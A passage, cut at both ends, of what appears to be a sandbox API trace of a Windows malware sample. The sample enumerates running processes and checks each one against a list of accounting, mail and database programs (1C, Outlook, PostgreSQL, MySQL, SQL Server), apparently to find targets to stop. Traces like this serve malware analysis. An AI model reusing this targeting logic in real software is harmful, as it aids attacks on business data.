(lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0053.366] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0053.366] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0053.366] lstrlenW (lpString="csrss.exe") returned 9 [0053.366] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0053.366] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0053.366] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0053.366] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0053.366] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0053.366] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0053.366] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0053.366] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0053.367] lstrlenW (lpString="wininit.exe") returned 11 [0053.367] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0053.367] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0053.367] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0053.367] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0053.367] lstrlenW (lpString="csrss.exe") returned 9 [0053.367] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0053.368] lstrlenW (lpString="winlogon.exe") returned 12 [0053.368] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0053.368] lstrlenW (lpString="services.exe") returned 12 [0053.368] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0053.368] lstrlenW (lpString="lsass.exe") returned 9 [0053.368] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0053.369] lstrlenW (lpString="lsm.exe") returned 7 [0053.369] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.369] lstrlenW (lpString="svchost.exe") returned 11 [0053.369] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.370] lstrlenW (lpString="svchost.exe") returned 11 [0053.370] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.370] lstrlenW (lpString="svchost.exe") returned 11 [0053.370] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.370] lstrlenW (lpString="svchost.exe") returned 11 [0053.370] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.371] lstrlenW (lpString="svchost.exe") returned 11 [0053.371] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0053.371] lstrlenW (lpString="audiodg.exe") returned 11 [0053.371] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.371] lstrlenW (lpString="svchost.exe") returned 11 [0053.371] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.372] lstrlenW (lpString="svchost.exe") returned 11 [0053.372] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0053.372] lstrlenW (lpString="dwm.exe") returned 7 [0053.372] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0053.373] lstrlenW (lpString="explorer.exe") returned 12 [0053.373] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0053.373] lstrlenW (lpString="spoolsv.exe") returned 11 [0053.373] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0053.373] lstrlenW (lpString="taskhost.exe") returned 12 [0053.373] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.374] lstrlenW (lpString="svchost.exe") returned 11 [0053.374] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0053.374] lstrlenW (lpString="taskeng.exe") returned 11 [0053.374] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="judges-present.exe")) returned 1 [0053.375] lstrlenW (lpString="judges-present.exe") returned 18 [0053.375] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="physics.exe")) returned 1 [0053.375] lstrlenW (lpString="physics.exe") returned 11 [0053.375] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="belongs.exe")) returned 1 [0053.376] lstrlenW (lpString="belongs.exe") returned 11 [0053.376] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="deck-truly-lauderdale.exe")) returned 1 [0053.376] lstrlenW (lpString="deck-truly-lauderdale.exe") returned 25 [0053.376] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gadgets.exe")) returned 1 [0053.376] lstrlenW (lpString="gadgets.exe") returned 11 [0053.376] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="geneva.exe")) returned 1 [0053.377] lstrlenW (lpString="geneva.exe") returned 10 [0053.377] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="elephant.exe")) returned 1 [0053.377] lstrlenW (lpString="elephant.exe") returned 12 [0053.377] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="revolution_qualities.exe")) returned 1 [0053.377] lstrlenW (lpString="revolution_qualities.exe") returned 24 [0053.377] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="roger-venice.exe")) returned 1 [0053.378] lstrlenW (lpString="roger-venice.exe") returned 16 [0053.378] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cite.exe")) returned 1 [0053.378] lstrlenW (lpString="cite.exe") returned 8 [0053.378] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="popularity_segments_sell.exe")) returned 1 [0053.379] lstrlenW (lpString="popularity_segments_sell.exe") returned 28 [0053.379] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="genius regulation transform.exe")) returned 1 [0053.379] lstrlenW (lpString="genius regulation transform.exe") returned 31 [0053.379] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artist_selecting.exe")) returned 1 [0053.379] lstrlenW (lpString="artist_selecting.exe") returned 20 [0053.379] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="poems.exe")) returned 1 [0053.380] lstrlenW (lpString="poems.exe") returned 9 [0053.380] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x770, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bow.exe")) returned 1 [0053.380] lstrlenW (lpString="bow.exe") returned 7 [0053.380] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artworkcustomerprecise.exe")) returned 1 [0053.381] lstrlenW (lpString="artworkcustomerprecise.exe") returned 26 [0053.381] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="businesses.exe")) returned 1 [0053.381] lstrlenW (lpString="businesses.exe") returned 14 [0053.381] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="lucky.exe")) returned 1 [0053.382] lstrlenW (lpString="lucky.exe") returned 9 [0053.382] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="routine_mall_hebrew.exe")) returned 1 [0053.382] lstrlenW (lpString="routine_mall_hebrew.exe") returned 23 [0053.382] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="healthmanner.exe")) returned 1 [0053.382] lstrlenW (lpString="healthmanner.exe") returned 16 [0053.382] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0053.383] lstrlenW (lpString="3dftp.exe") returned 9 [0053.383] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0053.383] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0053.383] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0053.383] lstrlenW (lpString="alftp.exe") returned 9 [0053.383] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0053.384] lstrlenW (lpString="barca.exe") returned 9 [0053.384] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0053.384] lstrlenW (lpString="bitkinex.exe") returned 12 [0053.384] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0053.385] lstrlenW (lpString="coreftp.exe") returned 11 [0053.385] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0053.385] lstrlenW (lpString="far.exe") returned 7 [0053.385] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0053.385] lstrlenW (lpString="filezilla.exe") returned 13 [0053.385] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0053.386] lstrlenW (lpString="flashfxp.exe") returned 12 [0053.386] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0053.386] lstrlenW (lpString="fling.exe") returned 9 [0053.386] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0053.387] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0053.387] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0053.387] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0053.387] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0053.754] lstrlenW (lpString="icq.exe") returned 7 [0053.754] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0053.755] lstrlenW (lpString="leechftp.exe") returned 12 [0053.755] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0053.757] lstrlenW (lpString="ncftp.exe") returned 9 [0053.757] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0053.757] lstrlenW (lpString="notepad.exe") returned 11 [0053.757] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0053.758] lstrlenW (lpString="operamail.exe") returned 13 [0053.758] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0053.759] lstrlenW (lpString="pidgin.exe") returned 10 [0053.759] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0053.759] lstrlenW (lpString="scriptftp.exe") returned 13 [0053.759] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0053.760] lstrlenW (lpString="skype.exe") returned 9 [0053.760] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0053.760] lstrlenW (lpString="smartftp.exe") returned 12 [0053.760] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0053.761] lstrlenW (lpString="thunderbird.exe") returned 15 [0053.761] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0053.761] lstrlenW (lpString="totalcmd.exe") returned 12 [0053.762] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0053.762] lstrlenW (lpString="trillian.exe") returned 12 [0053.762] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0053.763] lstrlenW (lpString="webdrive.exe") returned 12 [0053.763] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0053.763] lstrlenW (lpString="whatsapp.exe") returned 12 [0053.763] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0053.764] lstrlenW (lpString="winscp.exe") returned 10 [0053.764] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, 